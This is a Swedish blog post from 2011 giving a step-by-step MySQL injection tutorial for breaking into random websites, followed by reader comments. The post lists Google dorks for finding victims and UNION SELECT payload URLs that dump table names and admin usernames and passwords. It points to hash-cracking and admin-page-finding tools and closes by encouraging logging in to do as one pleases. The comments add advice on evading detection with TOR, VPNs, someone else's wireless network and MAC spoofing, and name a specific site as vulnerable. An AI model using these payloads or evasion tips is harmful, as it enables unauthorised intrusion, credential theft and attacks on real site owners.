måndag 2 maj 2011

MySQL Injection -

MySQL Injection är den allra vanligaste metoden för att hacka hemsidor, för att detta ska fungera
så behövs det dock att hemsidan som ska hackas kör MySQL.
MySQL Injections går ut på att du skickar in kommandon till databasen för att få ut den data du vill åt,
som t.ex användare på sidan, admins eller vad som helst.
Mitt tips till dig är att börja lära dig om MySQL redan innan du påbörjar de olika steg i denna guide
eller under tiden så att du vet vad som händer och vad de olika kommandona gör.

För att hitta en random sida att pröva detta på så kan man använda sökmotorn google och ange olika
google dorks, som t.ex:
* inurl:index.php?newsID=
* inurl:index.php?productID=
* inurl:index.php?articleID=
* inurl:index.php?fileID=

etc.

För att kolla om sidan är sårbar för SQLi (Förkortning för MySQL Injection), så kan du sätta dit
' i slutet av länken efter ID= dvs, eller så kan du testa and 1=2.
Ungefär såhär:
http://URL.com/index.php?newsID=1' eller
http://URL.com/index.php?newsID=1 and 1=2

Om sidan laddas upp med ett SQL error eller om sidan laddas konstigt så kan det vara en sårbarhet
som kan utnyttjas.

Sedan så måste vi räkna antalet kolumner, sudda ut ' eller and 1=2 och skriv in order by 1-- efteråt,
då bör det se ut såhär:
http://URL.com/index.php?newsID=1 order by 1--

Om sidan laddades normalt som den ska, så är det bra, testa sedan att ändra värdet från 1 till 99,
laddas sidan konstigt eller om du får ett error som som säger att kolumen 99 inte finns så ändra värdet
till 2 och fortsätt uppåt tills sidan laddas konstigt.
Värdet på siffran som sist gjorde så sidan laddades normalt är den vi är ute efter, låt oss säga
att sidan slutade laddas normalt vid värdet 7.
Då finns det 7 kolumner.
http://URL.com/index.php?newsID=1 order by 1-- <- normalt
http://URL.com/index.php?newsID=1 order by 2-- <- normalt
http://URL.com/index.php?newsID=1 order by 3-- <- normalt
http://URL.com/index.php?newsID=1 order by 4-- <- normalt
http://URL.com/index.php?newsID=1 order by 5-- <- normalt
http://URL.com/index.php?newsID=1 order by 6-- <- normalt
http://URL.com/index.php?newsID=1 order by 7-- <- normalt
http://URL.com/index.php?newsID=1 order by 8-- <- onormalt/error

Sedan så gör ett mellan rum mellan = och id:
http://URL.com/index.php?newsID=-1

Sedan efter 1:an skriv union select 1,2,3,4 etc tills antalet kolumner som fanns på sidan,
på denna sida fanns det 7 kolumner som vi kunde konstantera tidigare:
http://URL.com/index.php?newsID=-1 union select 1,2,3,4,5,6,7--

Tryck sedan enter, då bör det komma upp små siffror på sidan, låt oss säga att siffrorna 3 och 5 kom upp,
då skriver vi concat(table_name,0x3a,column_name) på någon av 3 och 5.
http://URL.com/index.php?newsID=-1 union select 1,2,concat(table_name,0x3a,column_name),4,5,6,7--

Sedan efter 7 skriver vi from information_schema.columns where table_schema=database()-- :
http://URL.com/index.php?newsID=-1 union select 1,2,concat(table_name,0x3a,column_name),4,5,6,7 from
information_schema.columns where table_schema=database()--

Enkelt sagt vad detta gör är att den ger oss vilka tables och columns som finns i databasen
information_schema.

Efter detta så bör det ha kommit upp t.ex
users:user_id
För att bläddra skriv limit 0,1 innan -- och ändra värdet på 0:an så kommer det upp annan data som kan
vara dig till lags:

http://URL.com/index.php?newsID=-1 union select 1,2,concat(table_name,0x3a,column_name),4,5,6,7 from
information_schema.columns where table_schema=database()limit 0,1--
http://URL.com/index.php?newsID=-1 union select 1,2,concat(table_name,0x3a,column_name),4,5,6,7 from
information_schema.columns where table_schema=database()limit 1,1--
etc.

För att lista alla alternativ ändra concat(table_name,0x3a,column_name) till group_concat(table_name,0x3a,
column_name).
Leta sedan efter den information som kan vara dig till lags, t.ex som
users:users_id
users:password
users:username

Eller
admin:admin_id
admin:username
admin:password

Vi säger att vi vill åt admin-kontona, då ändrar vi table_name i concat till username,
och columns_name till password, och sedan from information_schema.columns where table_schema=database()--
till from admin-- :

http://URL.com/index.php?newsID=-1 union select 1,2,concat(username,0x3a,password),4,5,6,7 from admin--
Då bör du ha fått upp ett/flera av adminkontona, för att bläddra om endast ett resultat visas använd
limit här igen.
De flesta är sidor som du kommer stöta på så kommer lösenorden vara md5 hashade, för att få tag på lösenordet
så kan du använda denna sida:
http://hash.insidepro.com
Skriv in hashen i rutan och sedan verifiationskoden och tryck search.

Sedan är det bara att hitta admin sidan, för att hitta admin sidan så kan du använda detta verktyg som är
kodat i perl:
http://ankfest.com/DOWNLOADS/ludwig.pl, för att scriptet ska fungera så måste du ha perl installerat
på datorn.
Annars finns ett program som heter adminfinder, som jag dock inte har orkat leta upp ännu.

Sedan är det bara logga in med valfritt admin-konto på sidan och göra vad fan du vill.

MvH/

Ninja

6 kommentarer:

  1. Den här kommentaren har tagits bort av skribenten.

    SvaraRadera
  2. nån som vet någon bra hemsida man kan prova på? (A)

    SvaraRadera
  3. ja jag undrar samma sak eller snarare hur man skyddar sig från att bli upptäkt för antar att en proxy inte räcker? funkar en vpn tunnel typ annonines eller skulle dom avslöja mig ?

    SvaraRadera
  4. @Niclas, som hon nämnde så hittar du vuln. hemsidor med google dorks, börja leta!

    @xxxxxx, TOR + anonine räcker långt skulle jag tro, det beror ju helt på vad du gör också antar jag. Anonine säger att dem inte sparar loggar osv, vilket är en fördel för "hackers". Däremot om du hackar militären så kanske det inte räcker med TOR + anonine, antar jag :P Det allra säkraste för dig är att använda TOR + VPN + Någon annans trådlösa nät + fake MAC adress. Då är du nog VÄLDIGT säker.

    Ninja får hemskt gärna rätta till ev. fel. Jag drog slutsatser från det lilla jag vet.

    /Toad

    SvaraRadera
  5. Det räcker fullt gott med att du spoofar din mac adress och kör på någon annans trådlösa nätverk actually.

    en fågel viskade i mitt öra att http://klubberiet.se är sårbart för SQL vulns om du ville ha en sårbar sida. Vill inte avslöja var sårbarheten ligger dock, så det får du jobba lite för.

    Finns en hel tråd på flashback med diverse sidor med säkerhetsbrister dessutom.

    SvaraRadera
  6. sweet då vet man de bara att lära sig tor :P
    men fan nu har jag ett annat probelm jag köpte en level1 Wua-0614 idag och vill instalera de hitta ett par drivisar till linux men jag e för retarded för att instalera dom va de värkar nån som har lust att hjälpa till?
    jag har extraktat zip filen sen då? apt-get install?

    SvaraRadera